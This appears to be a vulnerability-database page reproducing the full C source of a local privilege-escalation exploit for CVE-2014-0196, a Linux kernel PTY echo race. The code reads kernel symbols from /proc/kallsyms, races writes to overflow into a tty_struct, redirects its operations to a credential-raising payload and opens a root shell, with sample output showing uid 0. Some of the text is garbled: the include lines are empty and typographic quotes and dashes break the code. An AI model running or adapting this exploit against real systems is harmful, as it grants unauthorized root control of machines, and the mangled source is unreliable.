ZeroBox Vulnerability Database

*
* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race * condition * * Slightly-less-than-POC privilege escalation exploit * For kernels >= v3.14-rc1
*
* Matthew Daley
*
* Usage:
* $ gcc cve-2014-0196-md.c -lutil -lpthread
* $ ./a.out
* [+] Resolving symbols
* [+] Resolved commit_creds: 0xffffffff81056694
* [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
* [+] Doing once-off allocations
* [+] Attempting to overflow into a tty_struct……………
* [+] Got it 🙂
* # id
* uid=0(root) gid=0(root) groups=0(root)
*
* WARNING: The overflow placement is still less-than-ideal; there is a 1/4
* chance that the overflow will go off the end of a slab. This does not
* necessarily lead to an immediate kernel crash, but you should be prepared
* for the worst (i.e. kernel oopsing in a bad state). In theory this would be
* avoidable by reading /proc/slabinfo on systems where it is still available
* to unprivileged users.
*
* Caveat: The vulnerability should be exploitable all the way from
* v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
* commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 (“tty: Halve flip buffer
* GFP_ATOMIC memory consumption”) that make exploitation simpler, which this
* exploit relies on.
*
* Thanks to Jon Oberheide for his help on exploitation technique.
*/

#include
#include
#include
#include #include #include
#include
#include
#include

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS 30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
int counter;
} atomic_t;

struct kref {
atomic_t refcount;
};

struct tty_struct_header {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
commit_creds(prepare_kernel_cred(0));

return 0;
}

unsigned long get_symbol(char *target_name) {
FILE *f;
unsigned long addr;
char dummy;
char name[256];
int ret = 0;

f = fopen(“/proc/kallsyms”, “r”);
if (f == NULL)
return 0;

while (ret != EOF) {
ret = fscanf(f, “%p %c %s\n”, (void **)&addr, &dummy, name);
if (ret == 0) {
fscanf(f, “%s\n”, name);
continue;
}

if (!strcmp(name, target_name)) {
printf(“[+] Resolved %s: %p\n”, target_name, (void *)addr);

fclose(f);
return addr;
}
}

printf(“[-] Couldn’t resolve \”%s\”\n”, name);

fclose(f);
return 0;
}

void *overwrite_thread_fn(void *p) {
write(slave_fd, buf, 511);

write(slave_fd, buf, 1024 – 32 – (1 + 511 + 1));
write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
char scratch[1024] = {0};
void *tty_operations[64];
int i, temp_fd_1, temp_fd_2;

for (i = 0; i < 64; ++i) tty_operations[i] = payload; overwrite.magic = TTY_MAGIC; overwrite.kref.refcount.counter = 0x1337; overwrite.dev = (struct device *)scratch; overwrite.driver = (struct tty_driver *)scratch; overwrite.ops = (struct tty_operations *)tty_operations; puts("[+] Resolving symbols"); commit_creds = (commit_creds_fn)get_symbol("commit_creds"); prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred"); if (!commit_creds || !prepare_kernel_cred) return 1; puts("[+] Doing once-off allocations"); for (i = 0; i < ONEOFF_ALLOCS; ++i) if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) { puts("[-] pty creation failed"); return 1; } printf("[+] Attempting to overflow into a tty_struct..."); fflush(stdout); for (i = 0; ; ++i) { struct termios t; int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j; pthread_t overwrite_thread; if (!(i & 0xfff)) { putchar('.'); fflush(stdout); } if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } for (j = 0; j < RUN_ALLOCS; ++j) if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } close(fds[RUN_ALLOCS / 2]); close(fds2[RUN_ALLOCS / 2]); write(slave_fd, buf, 1); tcgetattr(master_fd, &t); t.c_oflag &= ~OPOST; t.c_lflag |= ECHO; tcsetattr(master_fd, TCSANOW, &t); if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) { puts("\n[-] Overwrite thread creation failed"); return 1; } write(master_fd, "A", 1); pthread_join(overwrite_thread, NULL); for (j = 0; j < RUN_ALLOCS; ++j) { if (j == RUN_ALLOCS / 2) continue; ioctl(fds[j], 0xdeadbeef); ioctl(fds2[j], 0xdeadbeef); close(fds[j]); close(fds2[j]); } ioctl(master_fd, 0xdeadbeef); ioctl(slave_fd, 0xdeadbeef); close(master_fd); close(slave_fd); if (!setresuid(0, 0, 0)) { setresgid(0, 0, 0); puts("\n[+] Got it :)"); execl("/bin/bash", "/bin/bash", NULL); } } }